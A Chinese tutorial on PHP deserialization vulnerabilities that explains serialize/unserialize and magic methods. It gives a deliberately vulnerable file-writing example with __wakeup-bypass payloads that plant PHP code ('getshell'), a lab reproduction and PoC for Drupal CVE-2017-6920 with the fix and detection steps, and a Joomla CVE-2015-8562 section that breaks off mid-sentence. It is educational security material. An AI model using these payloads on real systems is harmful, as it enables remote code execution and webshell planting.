您好,登錄后才能下訂單哦!
這篇文章將為大家詳細(xì)講解有關(guān)PHP反序列化漏洞的示例分析,小編覺得挺實(shí)用的,因此分享給大家做個(gè)參考,希望大家閱讀完這篇文章后可以有所收獲。
php程序?yàn)榱吮4婧娃D(zhuǎn)儲(chǔ)對(duì)象,提供了序列化的方法。php序列化是為了在程序運(yùn)行的過(guò)程中對(duì)對(duì)象進(jìn)行轉(zhuǎn)儲(chǔ)而產(chǎn)生的。序列化可以將對(duì)象轉(zhuǎn)換成字符串,但僅保留對(duì)象里的成員變量,不保留函數(shù)方法。
php序列化的函數(shù)為serialize
,可以將對(duì)象中的成員變量轉(zhuǎn)換成字符串。
反序列化的函數(shù)為unserilize
,可以將serialize
生成的字符串重新還原為對(duì)象中的成員變量。
將用戶可控的數(shù)據(jù)進(jìn)行了反序列化,就是PHP反序列化漏洞。
序列化
序列化的目的是方便數(shù)據(jù)的傳輸和存儲(chǔ)。
在PHP應(yīng)用中,序列化和反序列化一般用作緩存,比如session緩存,cookie等。
常見的序列化格式:
二進(jìn)制格式
字節(jié)數(shù)組
json字符串
xml字符串
<?php
class Test{
public $a = 'ThisA';
protected $b = 'ThisB';
private $c = 'ThisC';
public function test1(){
return "this is test1";
}
}
$test = new Test();
var_dump(serialize($test));
?>
輸出結(jié)果為:
C:\phpstudy_pro\WWW\s1.php:11:string 'O:4:"Test":3:{s:1:"a";s:5:"ThisA";s:4:"?*?b";s:5:"ThisB";s:7:"?Test?c";s:5:"ThisC";}' (length=84)
實(shí)際的序列化字符串為
:O:4:"Test":3:{s:1:"a";s:5:"ThisA";s:4:"?*?b";s:5:"ThisB";s:7:"?Test?c";s:5:"ThisC";}
對(duì)象序列化后的結(jié)構(gòu)為:
O:對(duì)象名的長(zhǎng)度:"對(duì)象名":對(duì)象屬性個(gè)數(shù):{s:屬性名的長(zhǎng)度:"屬性名";s:屬性值的長(zhǎng)度:"屬性值";}
可以得知,序列化之后的結(jié)果是字符串string。
Test是一個(gè)類,new Test()
表示創(chuàng)建Test類的對(duì)象。
O表示對(duì)象,4表示類的名稱有4個(gè)字符,Test是類名稱。
3表示對(duì)象中有3個(gè)成員變量。括號(hào)里面是每個(gè)成員的類型、名稱、值。
變量名和變量值之間以分號(hào)分隔。
a是public類型的變量,s表示字符串,1表示變量名的長(zhǎng)度,a是變量名。
b是protected類型的變量,它的變量名長(zhǎng)度為4,也就是b前添加了%00*%00
。所以,protected屬性的表示方式是在變量名前加上%00*%00
。
c是private類型的變量,c的變量名前添加了%00類名%00
。所以,private屬性的表示方式是在變量名前加上%00類名%00
。
雖然Test類中有test1方法,但是,序列化得到的字符串中,只保存了公有變量a,保護(hù)變量b和私有變量c,并沒保存類中的方法。也可以看出,序列化不保存方法。
反序列化
<?php
class Test{
public $a = 'ThisA';
protected $b = 'ThisB';
private $c = 'ThisC';
public function test1(){
return "this is test1";
}
}
$test = new Test();
$sTest = serialize($test);
$usTest = unserialize($sTest);
var_dump($usTest);
?>
輸出內(nèi)容如下:
C:\phpstudy_pro\WWW\s2.php:13:
object(Test)[2]
public 'a' => string 'ThisA' (length=5)
protected 'b' => string 'ThisB' (length=5)
private 'c' => string 'ThisC' (length=5)
類的成員變量被還原了,但是類的方法沒有被還原。因?yàn)樾蛄谢臅r(shí)候就沒有保存類的方法。
PHP反序列化漏洞中可能會(huì)用到的魔術(shù)方法
php類可能會(huì)包含魔術(shù)方法,魔術(shù)方法命名是以符號(hào)__開頭的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。這些函數(shù)在某些情況下會(huì)自動(dòng)調(diào)用。
__construct():具有構(gòu)造函數(shù)的類會(huì)在每次創(chuàng)建新對(duì)象時(shí)先調(diào)用此方法。 __destruct():析構(gòu)函數(shù)會(huì)在到某個(gè)對(duì)象的所有引用都被刪除或者當(dāng)對(duì)象被顯式銷毀時(shí)執(zhí)行。 __toString()方法用于一個(gè)類被當(dāng)成字符串時(shí)應(yīng)怎樣回應(yīng)。例如echo $obj;應(yīng)該顯示些什么。 此方法必須返回一個(gè)字符串,否則將發(fā)出一條 E_RECOVERABLE_ERROR 級(jí)別的致命錯(cuò)誤。 __sleep()方法在一個(gè)對(duì)象被序列化之前調(diào)用; __wakeup():unserialize( )會(huì)檢查是否存在一個(gè)_wakeup( )方法。如果存在,則會(huì)先調(diào)用_wakeup方法,預(yù)先準(zhǔn)備對(duì)象需要的資源。
__construct() # 當(dāng)對(duì)象被創(chuàng)建時(shí)調(diào)用
__destruct() # 當(dāng)對(duì)象被銷毀時(shí)調(diào)用
__toString() # 當(dāng)對(duì)象被當(dāng)做字符串使用
__sleep() # 在對(duì)象被序列化之前調(diào)用
__wakeup() # 在對(duì)象被反序列化之前調(diào)用
<?php
class Test{
public function __construct(){
echo 'construct run';
}
public function __destruct(){
echo 'destruct run';
}
public function __toString(){
echo 'toString run';
return 'str';
}
public function __sleep(){
echo 'sleep run';
return array();
}
public function __wakeup(){
echo 'wakeup run';
}
}
echo '<br>new了一個(gè)對(duì)象,對(duì)象被創(chuàng)建,執(zhí)行__construct</br>';
$test = new Test();
echo '<br>serialize了一個(gè)對(duì)象,對(duì)象被序列化,先執(zhí)行__sleep,再序列化</br>';
$sTest = serialize($test);
echo '<br>__wakeup():unserialize( )會(huì)檢查是否存在一個(gè)_wakeup( )方法。如果存在,則會(huì)先調(diào)用_wakeup方法,預(yù)先準(zhǔn)備對(duì)象需要的資源。</br>';
$usTest = unserialize($sTest);
echo '<br>把Test對(duì)象當(dāng)做字符串使用,執(zhí)行__toString</br>';
$string = 'use Test obj as str '.$test;
echo '<br>程序執(zhí)行完畢,對(duì)象自動(dòng)銷毀,執(zhí)行__destruct</br>';
?>
new了一個(gè)對(duì)象,對(duì)象被創(chuàng)建,執(zhí)行__construct construct run serialize了一個(gè)對(duì)象,對(duì)象被序列化,先執(zhí)行__sleep,再序列化 sleep run __wakeup():unserialize( )會(huì)檢查是否存在一個(gè)_wakeup( )方法。如果存在,則會(huì)先調(diào)用_wakeup方法,預(yù)先準(zhǔn)備對(duì)象需要的資源。 wakeup run 把Test對(duì)象當(dāng)做字符串使用,執(zhí)行__toString toString run 程序執(zhí)行完畢,對(duì)象自動(dòng)銷毀,執(zhí)行__destruct destruct rundestruct run
現(xiàn)在5個(gè)魔法函數(shù)的執(zhí)行順序就明確了。
對(duì)象被創(chuàng)建時(shí)執(zhí)行__construct
。
使用serialize()
序列化對(duì)象。先執(zhí)行__sleep
,再序列化。
unserialize( )
會(huì)檢查是否存在一個(gè)_wakeup( )
方法。如果存在,則會(huì)先調(diào)用_wakeup()
方法,預(yù)先準(zhǔn)備對(duì)象需要的資源。
把對(duì)象當(dāng)做字符串使用,比如將對(duì)象與字符串進(jìn)行拼接,或者使用echo
輸出對(duì)象,會(huì)執(zhí)行__toString
程序運(yùn)行完畢,對(duì)象自動(dòng)銷毀,執(zhí)行__destruct
。
安全問(wèn)題
如何利用反序列化漏洞,取決于應(yīng)用程序的邏輯、可用的類和魔法函數(shù)。unserialize
的參數(shù)用戶可控,攻擊者可以構(gòu)造惡意的序列化字符串。當(dāng)應(yīng)用程序?qū)阂庾址葱蛄谢癁閷?duì)象后,也就執(zhí)行了攻擊者指定的操作,如代碼執(zhí)行、任意文件讀取等。
PHP反序列漏洞的防御方法
不允許用戶控制unserialize
函數(shù)的參數(shù)
影響版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
反序列化時(shí),如果表示對(duì)象屬性個(gè)數(shù)的值大于真實(shí)的屬性個(gè)數(shù)時(shí)就會(huì)跳過(guò)__wakeup( )
的執(zhí)行。
__destruct # 當(dāng)對(duì)象被銷毀時(shí)調(diào)用
__wakeup # 在對(duì)象被反序列化之前調(diào)用
漏洞示例代碼如下:
<?php
class A{
var $target = "test";
function __wakeup(){
$this->target = "wakeup!";
}
function __destruct(){
$fp = fopen("C:\\phpstudy_pro\\WWW\\unserialize\\shell.php","w");
fputs($fp,$this->target);
fclose($fp);
}
}
$test = $_GET['test'];
$test_unseria = unserialize($test);
echo "shell.php<br/>";
include(".\shell.php");
?>
獲取序列化字符串的腳本如下:
<?php
class A{
var $target = "test";
}
$obj = new A();
$s = serialize($obj);
var_dump($s);
?>
正常的序列化字符串為:O:1:"A":1:{s:6:"target";s:4:"test";}
。注意:這里target變量的值是test,長(zhǎng)度為4。當(dāng)我們修改target變量的值時(shí),對(duì)應(yīng)的,也要將值的長(zhǎng)度進(jìn)行修改。
在線計(jì)算字符串長(zhǎng)度
程序從GET請(qǐng)求中獲取test參數(shù)的值,然后將test參數(shù)進(jìn)行反序列化。
?test=O:1:"A":1:{s:6:"target";s:18:"<?php phpinfo();?>";}
代碼正常的執(zhí)行邏輯,應(yīng)該是:unserialize( )
會(huì)檢查是否存在一個(gè)_wakeup( )
方法。本例中存在,則會(huì)先調(diào)用_wakeup()
方法,預(yù)先將對(duì)象中的target屬性賦值為"wakeup!"。注意,不管用戶傳入的序列化字符串中的target屬性為何值,__wakeup()
都會(huì)把$target的值重置為"wakeup!"。最后程序運(yùn)行結(jié)束,對(duì)象被銷毀,調(diào)用__destruct()
方法,將target變量的值寫入文件shell.php中。這樣shell.php文件中的內(nèi)容就是字符串"wakeup"。
對(duì)象序列化后的結(jié)構(gòu)為:O:對(duì)象名的長(zhǎng)度:"對(duì)象名":對(duì)象屬性個(gè)數(shù):{s:屬性名的長(zhǎng)度:"屬性名";s:屬性值的長(zhǎng)度:"屬性值";}
反序列化時(shí),如果表示對(duì)象屬性個(gè)數(shù)的值大于真實(shí)的屬性個(gè)數(shù)時(shí)就會(huì)跳過(guò)__wakeup( )
的執(zhí)行。構(gòu)造如下對(duì)象作為payload:
?test=O:1:"A":2:{s:6:"target";s:18:"<?php phpinfo();?>";}
這里真實(shí)屬性個(gè)數(shù)是1,只有1個(gè)target屬性。我們?cè)跇?gòu)造序列化字符串時(shí),將表示對(duì)象屬性個(gè)數(shù)的值寫成任何大于1的整數(shù),就可以跳過(guò)__wakeup()
的執(zhí)行?,F(xiàn)在,程序執(zhí)行的邏輯變?yōu)椋褐苯邮褂?code>unserialize()函數(shù)將用戶傳遞的參數(shù)進(jìn)行反序列化。程序執(zhí)行結(jié)束,對(duì)象被銷毀,調(diào)用__destruct()
方法,將target變量的值寫入文件shell.php中。而target變量的值就是我們用戶構(gòu)造的phpinfo()
函數(shù),成功getshell。
注意,如果要序列化protected類型的屬性,需要在變量名前加上%00*%00
。序列化private類型的屬性,需要在變量名前加上%00類名%00
。
<?php
class A{
protected $target = "test";
}
$obj = new A();
$s = serialize($obj);
var_dump($s);
?>
得到的序列化字符串為:
O:1:"A":1:{s:9:"?*?target";s:4:"test";}
構(gòu)造的payload為:
?test=O:1:"A":2:{s:9:"%00*%00target";s:18:"<?php phpinfo();?>";}
<?php
class A{
private $target = "test";
}
$obj = new A();
$s = serialize($obj);
var_dump($s);
?>
得到的序列化字符串為:
O:1:"A":1:{s:9:"?A?target";s:4:"test";}
構(gòu)造的payload為:
?test=O:1:"A":2:{s:9:"%00A%00target";s:18:"<?php phpinfo();?>";}
Drupal Core 8 PECL YAML 反序列化任意代碼執(zhí)行漏洞(CVE-2017-6920)
CVE-2017-6920:Drupal遠(yuǎn)程代碼執(zhí)行漏洞分析及POC構(gòu)造
本例子代碼審計(jì)中分析反序列化漏洞的方法
通過(guò)diff有漏洞的版本和漏洞修復(fù)的版本,發(fā)現(xiàn)漏洞的觸發(fā)點(diǎn)。
在漏洞所在函數(shù)的觸發(fā)點(diǎn)代碼中,通過(guò)閱讀官方文檔,找到外部可控的參數(shù),明確漏洞的觸發(fā)原理。
定位漏洞所在函數(shù)的調(diào)用位置,如果該函數(shù)還調(diào)用了其它函數(shù),繼續(xù)跟蹤其它函數(shù)。
最后定位外部可控的輸入點(diǎn)。找到漏洞的數(shù)據(jù)觸發(fā)點(diǎn)。
要利用該漏洞進(jìn)行遠(yuǎn)程代碼執(zhí)行,需要一個(gè)可以利用的類。如有應(yīng)用程序使用命名空間的方式來(lái)管理類,可以全局實(shí)例化一個(gè)類,也可以反序列化一個(gè)類;該漏洞利用了反序列化,因此需要找一個(gè)反序列類。通過(guò)__destruct
以及__wakeup
來(lái)定位類,全局搜索可以找到幾個(gè)可利用的類。
通過(guò)反序列化這些類,可以造成任意文件刪除、寫入webshell、任意無(wú)參數(shù)函數(shù)執(zhí)行等危害。
漏洞描述
2017年6月21日,Drupal官方發(fā)布了一個(gè)編號(hào)為CVE-2017- 6920 的漏洞,影響為Critical。這是Drupal Core的YAML解析器處理不當(dāng)所導(dǎo)致的一個(gè)遠(yuǎn)程代碼執(zhí)行漏洞,影響8.x的Drupal Core。
漏洞驗(yàn)證
漏洞環(huán)境
執(zhí)行如下命令啟動(dòng) drupal 8.3.0 的環(huán)境:
docker-compose up -d
環(huán)境啟動(dòng)后,訪問(wèn)http://your-ip:8080/
將會(huì)看到drupal的安裝頁(yè)面,一路默認(rèn)配置下一步安裝。因?yàn)闆]有mysql環(huán)境,所以安裝的時(shí)候可以選擇sqlite數(shù)據(jù)庫(kù)。
漏洞復(fù)現(xiàn)
先安裝yaml
擴(kuò)展
# 換鏡像源,默認(rèn)帶vim編輯器,所以用cat換源,可以換成自己喜歡的源 cat > sources.list << EOF deb http://mirrors.163.com/debian/ jessie main non-free contrib deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib deb-src http://mirrors.163.com/debian/ jessie main non-free contrib deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib EOF # 安裝依賴 apt update apt-get -y install gcc make autoconf libc-dev pkg-config apt-get -y install libyaml-dev # 安裝yaml擴(kuò)展 pecl install yaml docker-php-ext-enable yaml.so # 啟用 yaml.decode_php 否則無(wú)法復(fù)現(xiàn)成功 echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini # 退出容器 exit # 重啟容器,CONTAINER換成自己的容器ID docker restart CONTAINER
1.登錄一個(gè)管理員賬號(hào)
2.訪問(wèn) http://127.0.0.1:8080/admin/config/development/configuration/single/import
3.如下圖所示,Configuration type
選擇Simple configuration
,Configuration name
任意填寫,Paste your configuration here
中填寫PoC如下:
構(gòu)造了任意無(wú)參數(shù)函數(shù)的POC
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
4.點(diǎn)擊Import
后可以看到漏洞觸發(fā)成功,彈出phpinfo
頁(yè)面。
漏洞修復(fù)
最新發(fā)布的Drupal 8.3.4 已經(jīng)修復(fù)了該漏洞,針對(duì)低于8.3.4的版本也可以通過(guò)升級(jí)Drupal文件/core/lib/Drupal/Component/Serialization/YamlPecl.php
中的decode
函數(shù)進(jìn)行防御
public static function decode($raw) {
# =========新增代碼部分開始==================================================
static $init;
if (!isset($init)) {
// We never want to unserialize !php/object.
ini_set('yaml.decode_php', 0);
$init = TRUE;
}
# =========新增代碼部分結(jié)束==================================================
// yaml_parse() will error with an empty value.
if (!trim($raw)) {
return NULL;
}
......
}
漏洞檢測(cè)
針對(duì)該漏洞,可采用兩種方法進(jìn)行檢測(cè):
方法一:登陸Drupal管理后臺(tái),查看內(nèi)核版本是8.x,且版本號(hào)低于8.3.4,則存在該漏洞;否則,不存在該漏洞;
登錄一個(gè)管理員賬號(hào)后,http://127.0.0.1:8080/admin/reports/updates
,當(dāng)前內(nèi)核版本為8.3.0
。
方法二:在Drupal根目錄下找到文件/core/lib/Drupal/Component/Serialization/ YamlPecl.php
,定位到函數(shù)public static function decode($raw)
,如果該函數(shù)代碼不包含" ini_set('yaml.decode_php', 0);"
調(diào)用,則存在該漏洞;否則,不存在該漏洞。
root@a3aafd8a0fc8:/var/www/html/core/lib/Drupal/Component/Serialization# cat YamlPecl.php | grep "decode" -A 10
漏洞環(huán)境:Joomla 3.4.5 反序列化漏洞(CVE-2015-8562)
參考文獻(xiàn):Joomla遠(yuǎn)程代碼執(zhí)行漏洞分析(總結(jié))
簡(jiǎn)介
本漏洞根源是PHP5.6.13前的版本在讀取存儲(chǔ)好的session時(shí),如果反序列化出錯(cuò)則會(huì)跳過(guò)當(dāng)前一段數(shù)據(jù)而去反序列化下一段數(shù)據(jù)。而Joomla將session存儲(chǔ)在Mysql數(shù)據(jù)庫(kù)中,編碼是utf8,當(dāng)我們插入4字節(jié)的utf8數(shù)據(jù)時(shí)則會(huì)導(dǎo)致截?cái)?。截?cái)嗪蟮臄?shù)據(jù)在反序列化時(shí)就會(huì)失敗,最后觸發(fā)反序列化漏洞。
通過(guò)Joomla中的Gadget,可造成任意代碼執(zhí)行的結(jié)果。
影響版本
Joomla 1.5.x, 2.x, and 3.x before 3.4.6
PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45
漏洞點(diǎn)——反序列化session
這個(gè)漏洞存在于反序列化session的過(guò)程中。漏洞存在于libraries/joomla/session/session.php
,_validate
函數(shù),將User-Agent
和X_FORWARDED_FOR
調(diào)用set
方法設(shè)置到了session中。最終,它們會(huì)被保存到數(shù)據(jù)庫(kù)的session表中。
利用|字符偽造,控制整個(gè)反序列化字符串
joomla也沒有采用php自帶的session處理機(jī)制,而是用多種方式(包括database、memcache等)自己編寫了存儲(chǔ)session的容器(storage)。其存儲(chǔ)格式為『鍵名 + 豎線 + 經(jīng)過(guò) serialize() 函數(shù)反序列處理的值』,其未正確處理多個(gè)豎線的情況。那么,我們這里就可以通過(guò)注入一個(gè)|
符號(hào),將它前面的部分全部認(rèn)為是name,而|后面我就可以插入任意serialize字符串,構(gòu)造反序列化漏洞了。但還有一個(gè)問(wèn)題,在我們構(gòu)造好的反序列化字符串后面,還有它原本的內(nèi)容,必須要截?cái)?。在插入?shù)據(jù)庫(kù)的時(shí)候利用"
關(guān)于“PHP反序列化漏洞的示例分析”這篇文章就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,使各位可以學(xué)到更多知識(shí),如果覺得文章不錯(cuò),請(qǐng)把它分享出去讓更多的人看到。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。